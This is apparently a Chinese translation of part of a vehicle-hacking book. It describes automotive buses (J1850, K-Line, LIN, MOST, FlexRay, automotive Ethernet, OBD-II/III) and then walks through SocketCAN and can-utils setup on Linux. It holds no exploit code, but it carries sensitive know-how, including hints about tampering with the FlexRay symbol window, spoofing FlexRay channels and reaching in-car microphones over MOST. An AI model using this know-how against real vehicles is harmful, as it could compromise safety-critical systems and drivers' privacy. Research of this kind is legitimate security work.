GMLAN 是通用汽车实现的 CAN 总线。它基于 ISO 15765-2 ISO-TP,就像 UDS(参见“统一诊断服务”第 54 页)一样。GMLAN 总线包括一个单线低速总线和一个双线高速总线。低速总线是一个单线 CAN 总线,工作速度为 33.33Kbps,最多支持 32 个节点,采用这种方式是为了降低通信和布线成本。它用于传输非关键性信息,如信息娱乐中心、暖通空调控制、车门锁、发动机防盗器等。相比之下,高速总线以 500Kbps 的速度运行,最多支持 16 个节点。GMLAN 网络中的节点与该总线上的传感器相关联。

SAE J1850 协议

SAE J1850 协议最初在 1994 年被采用,至今仍可在一些现代车辆中找到,例如一些通用汽车和克莱斯勒的车辆。这些总线系统比 CAN 总线更老旧、速度更慢,但实现成本较低。

J1850 协议有两种类型:脉冲宽度调制(PWM)和可变脉冲宽度(VPW)。图 2-5 显示了在 OBD-II 连接器上找到 PWM 引脚的位置。VPW 只使用引脚 2。

image

图 2-5:PWM 引脚电缆视图

速度分为三类:A 类、B 类和 C 类。PWM 和 VPW 的 10.4Kbps 速度被认为是 A 类,这意味着它们是专门用于商业、工业和商业环境中的设备。(10.4Kbps 的 J1850 VPW 总线满足汽车行业对低辐射排放的要求。)B 类设备可以在任何地方使用,包括住宅环境,并且有一个第二个 SAE 标准实现,可以以 100Kbps 进行通信,但价格稍贵。最终的实现可以达到 1Mbps,并且用于 C 类设备。正如你所预料的那样,这第三种实现是最昂贵的,主要用于实时关键系统和媒体网络。

PWM 协议

PWM 在引脚 2 和 10 上使用差分信号,主要由福特使用。它以 5V 的高电压和 41.6Kbps 的速度工作,并使用类似于 CAN 的双线差分信号。

PMW 使用固定比特信号,因此 1 始终为高信号,0 始终为低信号。除此之外,通信协议与 VPW 相同。它们的区别在于速度、电压和用于构成总线的线数。

VPW 协议

VPW 是一种单线总线系统,仅使用引脚 2,通常由通用汽车和克莱斯勒使用。VPW 的高电压为 7V,速度为 10.4Kbps。

与 CAN 相比,VPW 解读数据的方式存在一些关键差异。首先,由于 VPW 使用依赖时间的信号,接收 1 位不仅仅是由总线上的高电位决定。该位必须保持高或低一定时间才能被认为是一个 1 位或 0 位。将总线拉高会使其达到大约 7V,而发送低信号则会将其拉至接地或接近接地电平。这个总线在非传输阶段通常处于接近接地电平(最高 3V)。

VPW 数据包采用图 2-6 中的格式。

image

图 2-6:VPW 格式

数据部分是一个固定大小——始终是 11 位,后跟一个 1 位的 CRC 有效性检查。表 2-1 显示了头部位的含义。

表 2-1: 头部位的含义

头部位 含义 备注
PPP 消息优先级 000 = 最高,111 = 最低
H 头部大小 0 = 3 字节,1 = 单字节
K 帧内响应 0 = 必须,1 = 不允许
Y 地址模式 0 = 功能型,1 = 物理型
ZZ 消息类型 将根据 K 和 Y 的设置有所不同

在帧内响应(IFR)数据可能会紧随此消息之后。通常,在 CRC 后会出现一个 200μs 长的低电位信号作为数据结束(EOD)信号,如果包含 IFR 数据,则它会在 EOD 后立即开始。如果不使用 IFR,EOD 会延长至 280μs,形成帧结束(EOF)信号。

关键词协议与 ISO 9141-2

关键词协议 2000(ISO 14230),也称为 KWP2000,使用引脚 7,常见于 2003 年后生产的美国车辆。使用 KWP2000 发送的消息可以包含最多 255 字节。

KWP2000 协议有两种变种,主要在波特率初始化方面有所不同。具体变种如下:

• ISO 14230-4 KWP(5 波特初始化,10.4 K 波特)

• ISO 14230-4 KWP(快速初始化,10.4 K 波特率)

ISO 9141-2 或 K-Line 是 KWP2000 的一种变种,通常见于欧洲车辆。K-Line 使用引脚 7 和(可选的)引脚 15,如图 2-7 所示。K-Line 是一种类似于串行的 UART 协议。UART 使用起始位,并且可能包括奇偶校验位和停止位。(如果你曾经配置过调制解调器,你应该会认识到这些术语。)

image

图 2-7:KWP K-Line 引脚电缆视图

图 2-8 显示了协议的数据包布局。与 CAN 数据包不同,K-Line 数据包有一个源(发送者)和一个目标(接收者)地址。K-Line 可以使用与 CAN 相同或类似的参数 ID(PID)请求结构。(关于 PID 的更多内容,请参见 “统一诊断服务” 第 54 页。)

image

图 2-8:KWP K-Line 数据包布局

局部互联网络协议

局部互联网络(LIN)是最便宜的车辆协议。它的设计是为了补充 CAN 协议。它没有仲裁或优先级代码;相反,由单一的主节点负责所有的传输。

LIN 最多可以支持 16 个从节点,它们主要只是监听主节点的信号。它们确实需要偶尔响应,但这不是它们的主要功能。通常,LIN 主节点会连接到 CAN 总线上。

LIN 的最大速度为 20Kbps。LIN 是一个单线总线,工作电压为 12V。你不会看到 LIN 被直接连接到 OBD 连接器,但它常常用来替代直接的 CAN 数据包,以处理简单设备的控制,因此需要注意它的存在。

一个 LIN 消息帧包括一个由主节点始终发送的头部,以及一个由主节点或从节点发送的响应部分(参见图 2-9)。

image

图 2-9:LIN 格式

SYNC 字段用于时钟同步。ID 代表消息内容——即正在传输的数据类型。ID 可以包含多达 64 种可能性。ID 60 和 61 用于承载诊断信息。

在读取诊断信息时,主节点发送 ID 60,而从节点则以 ID 61 响应。所有 8 个字节都用于诊断。第一个字节称为诊断节点地址(NAD)。字节范围的前一半(即 1–127)被定义为符合 ISO 标准的诊断,而 128–255 则可以是特定于该设备的。

MOST 协议

媒体导向系统传输(MOST)协议是为多媒体设备设计的。通常,MOST 以环形拓扑或虚拟星型拓扑布局,支持最多 64 个 MOST 设备。一个 MOST 设备作为时序主节点,持续向环中输入帧。

MOST 的传输速率约为 23 Mbaud,并支持最多 15 个未压缩的 CD 质量音频或 MPEG1 音频/视频通道。一个独立的控制通道以 768 Kbaud 的速率运行,并向 MOST 设备发送配置消息。

MOST 有三种速度:MOST25、MOST50 和 MOST150。标准 MOST 或 MOST25 运行在塑料光纤(POF)上。传输通过 650 纳米的红光波长使用 LED 完成。一个类似的协议,MOST50,双倍了带宽并增加了帧长至 1025 位。MOST50 流量通常通过无屏蔽双绞线(UTP)电缆传输,而非光纤。最后,MOST150 实现了以太网,并将帧率提高到 3072 位或 150Mbps——大约是 MOST25 带宽的六倍。

每个 MOST 帧有三个通道:

同步 流数据(音频/视频)

异步 数据包分发数据(TCP/IP)

控制 控制和低速数据(HMI)

除了时钟主设备,MOST 网络主设备还会自动为设备分配地址,这允许一种即插即用的结构。MOST 的另一个独特特点是,与其他总线不同,它通过独立的输入端口和输出端口来路由数据包。

MOST 网络层

除非你的目标是破解汽车的视频或音频流,否则 MOST 协议可能不会让你太感兴趣。不过,MOST 确实允许访问车载麦克风或手机系统,以及可能对恶意软件作者感兴趣的交通信息。

图 2-10 显示了 MOST 是如何划分到开放系统互联(OSI)模型的七层中的,OSI 模型标准化了网络通信。如果你熟悉其他基于媒体的网络协议,那么 MOST 可能会显得熟悉。

image

图 2-10:MOST 被划分为 OSI 模型的七层。OSI 层位于右列。

MOST 控制块

在 MOST25 中,一个块由 16 个帧组成。一个帧是 512 位,形态如图 2-11 所示。

image

图 2-11:MOST25 帧

同步数据包含 6 到 15 个四元组(每个四元组为 4 字节),异步数据包含 0 到 9 个四元组。一个控制帧为 2 字节,但当组合完整块(或 16 个帧)时,最终得到 32 字节的控制数据。

组装后的控制块布局如图 2-12 所示。

image

图 2-12:组装后的控制块布局

数据区域包含 FblockID、InstID、FktID、操作类型(OP Type)、Tel ID、Tel Len 和 12 字节数据。FblockID 是核心组件 ID,也就是功能块。例如,FblockID 为 0x52 可能是导航系统。InstID 是功能块的实例。可以有多个核心功能,例如有两个 CD 更换。InstID 用于区分要与哪个核心通信。FktID 用于查询更高级别的功能块。例如,FktID 为 0x0 时,查询功能块支持的功能 ID 列表。操作类型(OP Type)是要执行的操作类型,例如获取、设置、递增、递减等。Tel ID 和 Len 分别表示电报的类型和长度。电报类型表示单次传输或多包传输,电报的长度则表示电报本身的长度。

MOST50 的布局与 MOST25 相似,但数据部分更大。MOST150 提供两个额外的通道:以太网和 Isochronous。以太网像普通的 TCP/IP 和 Appletalk 设置一样工作。Isochronous 有三种机制:突发模式、恒定速率和数据包流传输。

破解 MOST

MOST 可以通过已经支持 MOST 的设备进行破解,例如通过车辆的娱乐信息单元或通过车载 MOST 控制器。基于 Linux 的项目 most4linux 提供了 MOST PCI 设备的内核驱动程序,截至目前,支持西门子 CT SE 2 和 OASIS Silicon Systems 或 SMSC PCI 卡。most4linux 驱动程序允许通过 MOST 网络进行用户空间通信,并链接到高级 Linux 声音架构(ALSA)框架以读取和写入音频数据。目前,most4linux 应被视为 alpha 版本,但它包含一些示例实用程序,您可以基于这些工具进行开发,具体包括:

most_aplay 播放一个 .wav 文件

ctrl_tx 发送广播控制消息并检查状态

sync_tx 持续发送

sync_rx 持续接收

当前的 most4linux 驱动程序是为 2.6 Linux 内核编写的,因此如果您想要制作一个通用嗅探器,可能会遇到一些困难。MOST 实现起来相当昂贵,因此一个通用嗅探器不会便宜。

FlexRay 总线

FlexRay 是一种高速总线,能够以最高 10Mbps 的速度进行通信。它适用于时间敏感的通信,例如电子节气门、电子转向、电子刹车等。FlexRay 的实现比 CAN 更昂贵,因此大多数实现使用 FlexRay 作为高端系统的总线,使用 CAN 作为中端系统,使用 LIN 作为低成本设备。

硬件

FlexRay 使用双绞线布线,但也可以支持双通道配置,这样可以增加容错性和带宽。然而,大多数 FlexRay 实现仅使用类似于 CAN 总线实现的单对布线。

网络拓扑

FlexRay 支持标准的总线拓扑,类似于 CAN 总线,其中许多 ECUs 通过一对双绞线总线运行。它还支持像以太网那样的星型拓扑,可以支持更长的段。当采用星型拓扑时,FlexRay 中心节点是一个主动的 FlexRay 设备,与其他节点进行通信。在总线布局中,FlexRay 需要适当的电阻终端,类似于标准的 CAN 总线。如果需要,可以将总线和星型拓扑结合,创建混合布局。

实现

在创建 FlexRay 网络时,制造商必须告知设备有关网络设置的信息。回想一下,在 CAN 网络中,每个设备只需要知道波特率以及它关心的 ID(如果有的话)。在总线布局中,只有一个设备可以在总线上进行通信。在 CAN 总线的情况下,谁先发言的顺序通过仲裁 ID 来决定。

相比之下,当 FlexRay 配置为在总线上通信时,它使用一种叫做 时分多路访问(TDMA) 的方案来保证确定性:速率始终相同(确定性),系统依赖于发射器在数据包通过电缆时填充数据,类似于 GSM 等蜂窝网络的工作方式。FlexRay 设备不会自动检测网络或网络上的地址,因此必须在制造时将这些信息预先编程。

尽管这种静态寻址方式在制造过程中降低了成本,但对于测试设备来说,参与总线通信可能会比较棘手,因为设备在加入 FlexRay 网络后,不知道哪些数据应该放入哪些槽位。为了解决这个问题,像字段总线交换格式(FIBEX)这样的特定数据交换格式在 FlexRay 开发过程中应运而生。

FIBEX 是一种 XML 格式,用于描述 FlexRay、CAN、LIN 和 MOST 网络的设置。FIBEX 拓扑图记录了 ECUs 以及它们如何通过通道连接,并且可以实现网关,以确定总线之间的路由行为。这些拓扑图还可以包含所有信号及其预期的解释方式。

FIBEX 数据在固件编译时使用,并允许开发人员在代码中引用已知的网络信号;编译器会处理所有的放置和配置。要查看 FIBEX,请从 sourceforge.net/projects/fibexplorer/ 下载 FIBEX Explorer。

FlexRay 周期

一个 FlexRay 周期可以视为一个数据包。每个周期的长度在设计时确定,应该由四个部分组成,如 图 2-13 所示。

image

图 2-13:FlexRay 周期的四个部分

静态部分包含保留时隙,用于表示始终具有相同意义的数据。动态部分的时隙包含可能具有不同表示的数据。符号窗口用于网络信号传输,而空闲部分(安静时间)用于同步。

FlexRay 上最小的时间单位被称为宏时隙,通常为一毫秒。所有节点都同步时间,并且它们会同时触发其宏时隙数据。

FlexRay 周期的静态部分包含一组固定数量的时隙来存储数据,就像空的火车车厢一样。当 ECU 需要更新静态数据单元时,它会填充其定义的时隙或车厢;每个 ECU 都知道为其定义了哪个车厢。这个系统之所以能工作,是因为 FlexRay 总线上的所有参与者都是时间同步的。

动态部分被分割成微时隙,通常为一个宏时隙的长度。动态部分通常用于存储较不重要、间歇性的数据,如内部空气温度。随着微时隙的通过,ECU 可能选择填充这些微时隙。如果所有微时隙都已满,ECU 必须等待下一个周期。

在图 2-14 中,FlexRay 周期被表示为火车车厢。负责填充静态时隙信息的发送器会在周期通过时进行填充,但动态时隙是按先到先得的方式填充的。所有火车车厢的大小相同,代表 FlexRay 的时间确定性特性。

image

图 2-14:表示周期的 FlexRay 火车

大多数 FlexRay 设备通常不会直接使用符号窗口,这意味着从黑客的角度来看,你绝对应该对这个部分进行修改。FlexRay 集群在由 FlexRay 状态管理器控制的状态下工作。根据 AUTOSAR 4.2.1 标准,这些状态如下:准备好、唤醒、启动、停止请求、在线、在线被动、仅键槽、以及冷启动数较少。

虽然大多数状态是显而易见的,但有些需要进一步解释。具体来说,在线是正常的通信状态,而在线被动应该仅在同步错误时出现。在在线被动模式下,不会发送或接收数据。仅键槽意味着数据只能在键槽中传输。冷启动数较少意味着总线仍在完全通信模式下运行,但仅依赖于同步帧。还有其他操作状态,如配置、休眠、仅接收和待机。

数据包布局

FlexRay 使用的实际数据包包含多个字段,并根据静态或动态时隙适配到周期中(见图 2-15)。

image

图 2-15:FlexRay 数据包布局

状态位为:

• 保留位

• 负载前导指示符

• NULL 帧指示符

• 同步帧指示符

• 启动帧指示符

帧 ID 是数据包应该在静态时隙中传输的时隙。当数据包用于动态时隙(1–2047)时,帧 ID 表示该数据包的优先级。如果两个数据包具有相同的信号,则优先级最高的数据包会胜出。有效负载长度是以字(2 字节)为单位的数字,最大可达 127 字,这意味着一个 FlexRay 数据包可以携带 254 字节的数据——是 CAN 数据包的 30 倍以上。头部 CRC 应该是显而易见的,周期计数器作为通信计数器使用,每当一个通信周期开始时会递增。

静态时隙的一个非常巧妙的特点是,ECU 可以读取早期的静态时隙,并根据这些输入在同一周期内输出一个值。例如,假设你有一个组件,在输出任何必要的调整之前,需要知道每个车轮的位置。如果静态周期的前四个时隙包含每个车轮的位置,校准 ECU 可以读取这些时隙,并且仍然有时间在后续时隙中填充任何调整。

嗅探 FlexRay 网络

截至本文撰写时,Linux 尚未官方支持 FlexRay,但一些厂商提供了补丁,添加了对某些内核和架构的支持。(Linux 支持 FlexCAN,但 FlexCAN 是一种受 FlexRay 启发的 CAN 总线网络。)

目前,没有标准的开源工具用于嗅探 FlexRay 网络。如果你需要一个通用工具来嗅探 FlexRay 流量,目前你必须选择一个专有的产品,而这些产品价格不菲。如果你想在没有 FIBEX 文件的情况下监控 FlexRay 网络,你至少需要知道总线的波特率。理想情况下,你还应该知道周期长度(以毫秒为单位),并且如果可能的话,知道集群分区的大小(静态与动态的比例)。从技术上讲,FlexRay 集群最多可以有 1048 种配置,包含 74 个参数。你可以在 Eric Armengaud、Andreas Steininger 和 Martin Horauer 的论文《基于 FlexRay 的汽车通信网络中的自动参数识别》(IEEE,2006)中找到有关识别这些参数的方法。

在一个有两个通道的 FlexRay 网络上进行数据包欺骗时,你需要同时欺骗两个通道。此外,你还会遇到名为 Bus Guardian 的 FlexRay 实现,它旨在防止任何设备对总线的泛洪或垄断。Bus Guardian 在硬件级别通过 FlexRay 芯片上的一个引脚工作,这个引脚通常称为 Bus Guardian Enable (BGE)。这个引脚通常标记为可选,但 Bus Guardian 也可以将该引脚电平拉高,从而禁用一个行为异常的设备。

汽车以太网

由于 MOST 和 FlexRay 昂贵且逐渐失去支持(FlexRay 联盟似乎已经解散),大多数新型车辆正在转向以太网。以太网的实现有所不同,但基本上与标准计算机网络中的以太网相同。通常,CAN 数据包会被封装为 UDP,音频则作为 IP 语音(VoIP)进行传输。以太网可以以最高 10Gbps 的速度传输数据,使用非专有协议和任何选择的拓扑结构。

尽管 CAN 流量没有统一标准,制造商们已开始使用 IEEE 802.1AS 音视频桥接(AVB)标准。该标准支持服务质量(QoS)和流量整形,并且使用时间同步的 UDP 数据包。为了实现这种同步,节点们遵循最佳主时钟算法,以确定哪个节点将成为时间主节点。主节点通常会与外部时间源同步,例如 GPS 或(在最坏的情况下)车载振荡器。主节点通过发送定时数据包(10 毫秒)与其他节点同步,接收节点则回应一个延迟请求,通过这种交换计算出时间偏差。

从研究人员的角度来看,车辆以太网的唯一挑战在于如何与以太网进行通信。您可能需要制作或购买定制电缆与车辆以太网电缆进行通信,因为这些电缆看起来不会像您在网络机房中找到的标准双绞线。通常,连接器只会是与 ECU 连接的电线。不要指望连接器会有自己的插头,但如果有,它看起来不会像 RJ-45 连接器。有些暴露的连接器实际上是圆形的,如图 2-16 所示。

image

图 2-16:圆形以太网连接器

OBD-II 连接器引脚图

OBD-II 接头中的其余引脚是制造商特定的。引脚映射因制造商不同而有所变化,以下是一些指导原则。您的接头可能会根据品牌和型号有所不同。例如,图 2-17 展示的是一款通用汽车的接头引脚图。

image

图 2-17:通用汽车车辆的完整 OBD 接头引脚视图

请注意,OBD 连接器可能有多个 CAN 线路,例如低速线路(LS-CAN)或中速线路(MS-CAN)。低速线路工作在约 33Kbps,中速线路约 128Kbps,高速(HS-CAN)约 500Kbps。

在将嗅探器连接到车辆的 OBD-II 连接器时,通常会使用 DB9 到 OBDII 的连接器。图 2-18 展示的是插头视图,而非电缆的视图。

image

图 2-18:典型的 DB9 连接器插头视图。带星号()的引脚表示该引脚是可选的。一个 DB9 适配器可能只有三个连接引脚。*

这个针脚排列在英国是常见的,如果你自己做电缆,这个会是最容易使用的。然而,一些嗅探器,例如许多 Arduino 扩展板,预期使用美式 DB9 连接器(见 图 2-19)。

image

图 2-19:美式 DB9 连接器,插头视图

美版的功能更多,除了 CAN 之外,你还可以访问其他 OBD 连接器。幸运的是,两个类型的连接器的电源都位于第 9 针,因此即使你误抓了错误的电缆,也不会损坏你的嗅探器。一些嗅探器,如 CANtact,有跳线可以根据你使用的电缆类型进行设置。

OBD-III 标准

OBD-III 是 OBD-II 标准的一个相当有争议的演进版本。OBD-II 最初设计时是为了符合排放测试要求(至少从监管者的角度来看),但现在,动力总成控制模块(PCM)已经知道车辆是否符合规定,但车主每隔一年仍然需要去进行测试的麻烦没有解决。OBD-III 标准允许 PCM 在无需车主干预的情况下远程传输其状态。通常,这种通信是通过路边的应答器完成的,但手机和卫星通信也能起作用。

加利福尼亚州空气资源委员会(CARB)自 1994 年起开始测试 OBD-III 的路边读取器,并能够在时速 100 英里的交通流中读取来自八条车道的车辆数据。如果系统检测到故障,它将把诊断故障码(DTC)和车辆识别号(VIN)传输给附近的应答器(参见 “诊断故障码” 第 52 页)。这个系统的目的是在无需等待最多两年的排放检查的情况下,报告污染物进入大气层。

大多数 OBD-III 的实现都是特定于制造商的。车辆会将故障信息发送回制造商,然后联系车主告知需要修理。如你所想,这种系统存在一些明显的法律问题需要解决,包括私有财产的群众监控风险。当然,执法机构也有很多滥用的空间,比如测速陷阱、追踪、锁车等。

一些提交的关于将 OBD-III 集成到车辆中的提案声称,使用应答器存储以下信息:

• 当前查询的日期和时间

• 上次查询的日期和时间

• VIN

• 状态,例如“正常”,“故障”或“无响应”

• 存储的故障码(DTC)

• 接收站号码

需要注意的是,即使 OBD-III 仅发送 DTC 和 VIN,添加额外的元数据,如位置、时间和车辆通过转发器的历史记录,也是微不足道的。大多数情况下,OBD-III 是床下的幽灵。截至本文写作时,它尚未与转发器方法一起部署,尽管像 OnStar 这样的“回家”系统正在部署,以通知汽车经销商各种安全或安全问题。

总结

在操作目标车辆时,你可能会遇到多种不同的总线和协议。遇到这种情况时,检查你特定车辆的 OBD-II 连接器所使用的引脚,帮助你确定需要哪些工具,以及在逆向车辆网络时可能会遇到的情况。

本章我重点介绍了通过 OBD-II 连接器轻松访问的总线,但你还应该查看你的车辆接线图,以确定在哪里可以找到传感器之间的其他总线线路。并非所有的总线线路都通过 OBD-II 连接器暴露出来,当你寻找某个特定数据包时,可能更容易定位模块并跟踪离开特定模块的总线线路,从而逆向工程某个特定数据包。(有关如何读取接线图的详细信息,请参见第七章)。

第三章:使用 SocketCAN 进行车辆通信

图片

当您开始使用 CAN 进行车辆通信时,您可能会发现它是不同驱动程序和软件工具的大杂烩。理想情况是将 CAN 工具及其不同的接口统一为一个通用接口,以便我们可以轻松地在工具之间共享信息。

幸运的是,有一套具有共同接口的工具,并且是免费的!如果您使用 Linux 或在虚拟机(VM)上安装了 Linux,您已经拥有这个接口。这个接口称为 SocketCAN,于 2006 年在开源开发网站 BerliOS 上创建。今天,术语 SocketCAN 用于指代将 CAN 驱动程序实现为网络设备(如以太网卡),并描述应用程序通过网络套接字编程接口访问 CAN 总线的实现。在本章中,我们将设置 SocketCAN,以便更轻松地与车辆进行通信。

大众集团研究贡献了最初的 SocketCAN 实现,支持内置 CAN 芯片和卡驱动程序,外部 USB 和串行 CAN 设备,以及虚拟 CAN 设备。can-utils 软件包提供了几个应用程序和工具,用于与 CAN 网络设备交互、CAN 特定协议,并能设置虚拟 CAN 环境。为了测试本书中的许多示例,请在您系统上的 Linux 虚拟机中安装最新版本。最新版本的 Ubuntu 中已经包含了can-utils

SocketCAN 与 Linux 网络堆栈紧密结合,这使得创建支持 CAN 的工具变得非常容易。SocketCAN 应用程序可以使用标准的 C 套接字调用与自定义网络协议族 PF_CAN,这种功能允许内核处理 CAN 设备驱动程序,并与现有的网络硬件进行接口,提供一个通用的接口和用户空间实用工具。

图 3-1 比较了传统 CAN 软件的实现与统一的 SocketCAN。

图片

图 3-1:SocketCAN 布局(左)和传统 CAN 软件(右)

使用传统的 CAN 软件,应用程序通常具有自己的协议,通常与字符设备(如串行驱动程序)和实际的硬件驱动程序交流。在图的左侧,SocketCAN 是在 Linux 内核中实现的。通过创建自己的 CAN 协议族,SocketCAN 可以与现有的网络设备驱动程序集成,从而使应用程序能够将 CAN 总线接口视为通用网络接口。

设置 can-utils 以连接到 CAN 设备

要安装 can-utils,您必须使用 2008 年或更新的 Linux 发行版,或者运行 2.6.25 或更高版本的 Linux 内核。首先我们将安装 can-utils,然后介绍如何配置它以适应您的特定设置。

安装 can-utils

你应该能够使用包管理器安装can-utils。这里有一个 Debian/Ubuntu 的示例:

$ sudo apt-get install can-utils

如果你的包管理器中没有 can-utils,可以通过 git 命令从源代码安装:

$ git clone https://github.com/linux-can/can-utils

截至本文写作时,can-utils 包含 configuremakemake install 文件,但在旧版本中,你只需输入 make 来从源代码安装。

配置内建芯片组

下一步取决于你的硬件。如果你正在寻找 CAN 嗅探器,应该检查受支持的 Linux 驱动程序列表,以确保你的设备兼容。截至本文写作时,Linux 内建的 CAN 驱动程序支持以下芯片组:

• Atmel AT91SAM SoC

• 博世 CC770

• ESD CAN-PCI/331 卡

• Freescale FlexCAN

• Freescale MPC52xx SoC(MSCAN)

• 英特尔 AN82527

• Microchip MCP251x

• NXP(飞利浦)SJA1000

• TI SoC

像 SJA1000 这样的 CAN 控制器通常集成在 ISA、PCI、PCMCIA 卡或其他嵌入式硬件中。例如,EMS PCMCIA 卡驱动程序实现对其 SJA1000 芯片的访问。当你将 EMS PCMCIA 卡插入笔记本电脑时,ems_pcmcia 模块会加载到内核中,随后需要加载 sja1000 模块和 can_dev 模块。can_dev 模块提供标准配置接口——例如,用于设置 CAN 控制器的比特率。

Linux 内核的模块化概念同样适用于通过总线硬件连接 CAN 控制器的 CAN 硬件驱动程序,如 kvaser_pcipeak_pci 等。当你插入一个受支持的设备时,这些模块应该会自动加载,你可以通过输入 lsmod 命令看到它们。USB 驱动程序,如 usb8dev,通常实现一个专有的 USB 通信协议,因此不会加载 CAN 控制器驱动程序。

例如,当你插入一个 PEAK-System PCAN-USB 适配器时,can_dev 模块会加载,peak_usb 模块会完成初始化。使用显示消息命令 dmesg,你应该看到类似如下的输出:

$ dmesg
--snip --
[ 8603.743057] CAN device driver interface
[ 8603.748745] peak_usb 3-2:1.0: PEAK-System PCAN-USB adapter hwrev 28 serial
    FFFFFFFF (1 channel)
[ 8603.749554] peak_usb 3-2:1.0 can0: attached to PCAN-USB channel 0 (device
    255)
[ 8603.749664] usbcore: registered new interface driver peak_usb

你可以通过 ifconfig 验证接口是否加载成功,并确保现在存在一个 can0 接口:

$ ifconfig can0
can0      Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
          UP RUNNING NOARP  MTU:16  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:10
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

现在设置 CAN 总线速度。(你可以在 第五章 找到有关总线速度的更多信息。)你需要设置的关键组件是比特率,这是总线的速度。典型的高速 CAN(HS-CAN)值为 500Kbps。250Kbps 或 125Kbps 通常用于低速 CAN 总线。

$ sudo ip link set can0 type can bitrate 500000
$ sudo ip link set up can0

一旦你启动了 can0 设备,就应该能在这个接口上使用 can-utils 提供的工具。Linux 使用 netlink 在内核和用户空间工具之间进行通信。你可以通过 ip link 命令访问 netlink。要查看所有 netlink 选项,请输入以下命令:

$ ip link set can0 type can help

如果你开始看到异常行为,比如没有数据包捕获或数据包错误,接口可能已经停止。如果你正在使用外部设备,只需拔掉电源或重置。如果设备是内部的,可以运行以下命令来重置它:

$ sudo ip link set canX type can restart-ms 100
$ sudo ip link set canX type can restart

配置串行 CAN 设备

外部 CAN 设备通常通过串口进行通信。实际上,即使是车辆上的 USB 设备,通常也通过串行接口进行通信——通常是来自 Future Technology Devices International, Ltd.的 FTDI 芯片。

以下设备已知与 SocketCAN 兼容:

• 任何支持 LAWICEL 协议的设备

• CAN232/CANUSB 串行适配器 (www.can232.com/)

• VSCOM USB 转串口适配器 (www.vscom.de/usb-to-can.htm)

• CANtact (cantact.io)

注意

如果您正在使用 Arduino 或自己构建嗅探器,必须在固件中实现 LAWICEL 协议——也称为 SLCAN 协议——才能使您的设备正常工作。有关详细信息,请参见 www.can232.com/docs/canusb_manual.pdf github.com/linux-can/can-misc/blob/master/docs/SLCAN-API.pdf

为了使用 USB 转串口适配器,您必须首先初始化串行硬件和 CAN 总线上的波特率:

$ slcand -o -s6 -t hw -S 3000000 /dev/ttyUSB0
$ ip link set up slcan0

slcand守护进程提供了将串行通信转换为网络驱动程序slcan0所需的接口。以下选项可以传递给slcand

-o 打开设备

-s6 设置 CAN 总线的波特率和速度(参见表 3-1)

-t hw 指定串行流控制,选择HW(硬件)或SW(软件)

-S 3000000 设置串口波特率或比特率速度

/dev/ttyUSB0 您的 USB FTDI 设备

表 3-1 列出了传递给-s的数字及其对应的波特率。

表 3-1: 编号与对应的波特率

编号 波特率
0 10Kbps
1 20Kbps
2 50Kbps
3 100Kbps
4 125Kbps
5 250Kbps
6 500Kbps
7 800Kbps
8 1Mbps

如您所见,输入-s6会使设备准备好与 500Kbps 的 CAN 总线网络通信。

设置这些选项后,您应该现在拥有一个slcan0设备。要确认,请输入以下命令:

$ ifconfig slcan0
slcan0    Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
          NOARP  MTU:16  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:10
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

ifconfig返回的大部分信息都被设置为通用默认值,可能都是 0。这是正常的。我们只是确保能够通过ifconfig看到设备。如果我们看到slcan0设备,说明我们应该能够使用工具通过串行端口与 CAN 控制器通信。

注意

此时,查看您的物理嗅探器设备是否有额外的指示灯可能会很有帮助。通常,CAN 嗅探器会有绿灯和红灯,用来表示它是否能与 CAN 总线正确通信。您的 CAN 设备必须插入计算机和车辆,才能使这些指示灯正常工作。并非所有设备都有这些指示灯。(请检查您的设备手册。)

设置虚拟 CAN 网络

如果你没有 CAN 硬件进行实验,不用担心。你可以设置一个虚拟 CAN 网络进行测试。只需加载 vcan 模块即可。

$ modprobe vcan

如果你检查 dmesg,你不应该看到比这样的消息更多的内容:

$ dmesg
[604882.283392] vcan: Virtual CAN interface driver

现在你只需按照 “配置内置芯片组” 第 37 页 (page 37) 中的内容设置接口,但不需要为虚拟接口指定波特率。

$ ip link add dev vcan0 type vcan
$ ip link set up vcan0

为了验证你的设置,请输入以下内容:

$ ifconfig vcan0
vcan0     Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
          UP RUNNING NOARP  MTU:16  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

只要你在输出中看到 vcan0,就可以开始使用了。

CAN 工具套件

通过启动我们的 CAN 设备,接下来我们从高层次了解 can-utils。它们在此简要列出和描述,我们将在全书中使用它们,并随着使用深入探讨它们的细节。

asc2log 此工具将以下格式的 ASCII CAN 转储解析为标准的 SocketCAN 日志文件格式:

0.002367 1 390x Rx d 8 17 00 14 00 C0 00 08 00

bcmserver Jan-Niklas Meier 的概念验证(PoC)广播管理服务器接受如下命令:

vcan1 A 1 0 123 8 11 22 33 44 55 66 77 88

默认情况下,它监听端口 28600。它可以用于处理一些重复的 CAN 消息时的繁重工作。

canbusload 此工具确定哪个 ID 对总线上的流量贡献最大,并接受以下参数:

interface@bitrate

你可以指定任意数量的接口,并让 canbusload 显示带宽占用最严重的条形图。

can-calc-bit-timing 此命令计算内核支持的每个 CAN 芯片组的比特率和相应的寄存器值。

candump 此工具转储 CAN 数据包,也可以接受过滤器并记录数据包。

canfdtest 此工具执行两个 CAN 总线的发送和接收测试。

cangen 此命令生成 CAN 数据包,并可以按设定的间隔进行传输。它还可以生成随机数据包。

cangw 此工具管理不同 CAN 总线之间的网关,还可以在转发数据包到下一个总线之前对数据包进行过滤和修改。

canlogserver 此工具监听端口 28700(默认情况下)以接收 CAN 数据包,并将它们以标准格式记录到 stdout

canplayer 此命令重放以标准 SocketCAN “紧凑”格式保存的数据包。

cansend 此工具向网络发送一个单独的 CAN 帧。

cansniffer 此交互式嗅探器按 ID 分组数据包,并突出显示更改的字节。

